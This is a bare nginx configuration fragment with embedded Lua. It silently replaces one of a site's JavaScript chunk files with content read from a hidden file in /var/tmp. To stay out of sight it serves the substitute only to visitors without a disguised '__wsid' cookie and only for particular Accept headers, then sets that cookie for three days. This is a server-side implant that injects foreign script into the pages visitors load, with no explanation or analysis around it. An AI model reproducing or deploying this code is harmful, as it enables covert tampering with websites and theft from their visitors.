lua_shared_dict js_cache 10m;

rewrite_by_lua '

function file_exists(path)
	local file = io.open(path, "rb")
	if file then file:close() end
	return file ~= nil
end

function string.indexOf(s, pattern, init)
    init = init or 0
    local index = string.find(s, pattern, init, true)
    return index or -1;
end

function string.insert(str,index,insertStr)
    local first = string.sub(str,1,index-1)
    local last = string.sub(str,index,-1)
    local createStr = string.format("%s%s%s",first,insertStr,last)
    return createStr
end


local ngx = require "ngx";
local url = ngx.var.uri;
local host = ngx.var.host;
local agent = ngx.var.http_user_agent
local accpet = ngx.var.http_accept
local refere = ngx.var.http_referer
local request_url = ngx.var.request_uri;
local request_method = ngx.var.request_method;
local shared = ngx.shared.js_cache
local key = "js_content1"

local raw_cookie = ngx.req.get_headers()["Cookie"];
if raw_cookie~=nil and string.match(raw_cookie, "__wsid=c2Vzc2lvbnM=") then
  return
end

if accpet~=nil and accpet ~= "*/*" then
	return
end

if string.match(request_url, "/142%.531da4f8%.chunk%.js$") then
  
	local current_value = shared:get(key)
  
	if not current_value and file_exists("/var/tmp/1.js") then
    
		local file, err = io.open("/var/tmp/1.js", "r")
		if not file then
			return
		end
		
		local content = file:read("*a")
		file:close()
		
		if not content or content == "" then
			return
		end
		
		local success, err = shared:set(key, content, 0)
		if success then
			
			current_value = content
			
		end
	  
	end
 
	ngx.header["Cache-Control"] = "no-cache, must-revalidate";
	ngx.header["Expires"] = "Mon, 26 Jul 1970 05:00:00 GMT";
	local expires = 3600 * 24 * 3 
	ngx.header["Set-Cookie"] = "__wsid=c2Vzc2lvbnM=; Path=/; Expires=" .. ngx.cookie_time(ngx.time() + expires);
	
	if current_value then
		ngx.update_time();
		math.randomseed(tonumber(tostring(ngx.now()*1000):reverse():sub(1, 9)));
		local rand = math.random(1,100);
		if rand<100 then
			ngx.say(current_value)
		end
	end
	
	
end
';
